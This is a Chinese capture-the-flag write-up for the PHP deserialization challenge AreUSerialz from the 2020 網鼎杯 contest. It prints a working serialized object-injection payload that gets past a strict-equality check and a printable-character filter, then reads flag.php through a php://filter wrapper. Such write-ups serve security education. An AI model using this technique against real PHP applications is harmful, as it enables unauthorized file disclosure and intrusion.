題目
點進題目發(fā)現(xiàn)
需要進行代碼審計
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
這里有__destruct()函數(shù),在對象銷毀時自動調(diào)用,根據(jù)$op屬性的值進行一些操作,并重置屬性的值,后再次調(diào)用process()方法,同時該函數(shù)會根據(jù)op變量值的不同,會相應(yīng)調(diào)用讀寫函數(shù)
即op=="1",進入write方法,op=="2"進入read方法進行處理
總體解題思路為,構(gòu)造反序列化給str變量,當(dāng)主函數(shù)進行反序列化時,調(diào)用了FileHandler類,讀取flag.php
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
接收到名為str的get參數(shù),參數(shù)會被反序列化,并創(chuàng)建一個對象,在反序列化之前,會使用is_valid()函數(shù)對字符串進行驗證,傳入的string要是可見字符串a(chǎn)scii值為32-125
這里要構(gòu)造op=2,要聯(lián)想至上面的destruct方法,當(dāng)op=2時會自動執(zhí)行魔術(shù)方法_destruct,繞過if($this->op==="2")這條強類型判斷,2===“2”為假(左邊為數(shù)字int,右邊為字符串string),會執(zhí)行process方法,2==“2”為真,執(zhí)行read方法,讀取文件
注意成員變量是protected屬性,會在變名前加%00*%00,注意is_valid方法,%00的ascii碼為0,無法通過檢查,需要繞過
繞過方法:
1.php7.1+版本對屬性類型不敏感,本地序列化的時候?qū)傩愿臑閜ublic進行繞過即可
2.php的序列化字符串中只要把其中的s改成大寫的S,后面的字符串就可以用十六進制表示
php偽協(xié)議進行讀取
構(gòu)造payload
<?php
class FileHandler
{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
//偽協(xié)議轉(zhuǎn)化為base64讀取,php代碼無法直接讀取
public $content;
}
$A=new FileHandler();
$B=serialize($A);
echo $B;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
直接傳參得不到flag
反序列化完的結(jié)果看似沒有包含0,但實際上有ascii碼為0的
這里需要對$B進行兩次替換操作
- 使用?
str_replace()
?函數(shù)將字符串中的空字符(ASCII 值為 0)替換為?\00
。 - 使用?
str_replace()
?函數(shù)將字符串中的 "s:" 替換為 "S:"。
構(gòu)造payload
<?php
class FileHandler
{
protected $op = 2;
protected $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$A=new FileHandler();
$B=serialize($A);
$B = str_replace(chr(0), '\00', $B);
$B = str_replace('s:', 'S:', $B);
echo $B;
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}
傳參可得
查看源碼
解碼可得
參考文章鏈接:
https://www.cnblogs.com/akger/p/15137082.html文章來源:http://www.zghlxwxcb.cn/news/detail-718854.html
第二屆網(wǎng)鼎杯(青龍組)部分wp-安全客 - 安全資訊平臺文章來源地址http://www.zghlxwxcb.cn/news/detail-718854.html
到了這里,關(guān)于web:[網(wǎng)鼎杯 2020 青龍組]AreUSerialz的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!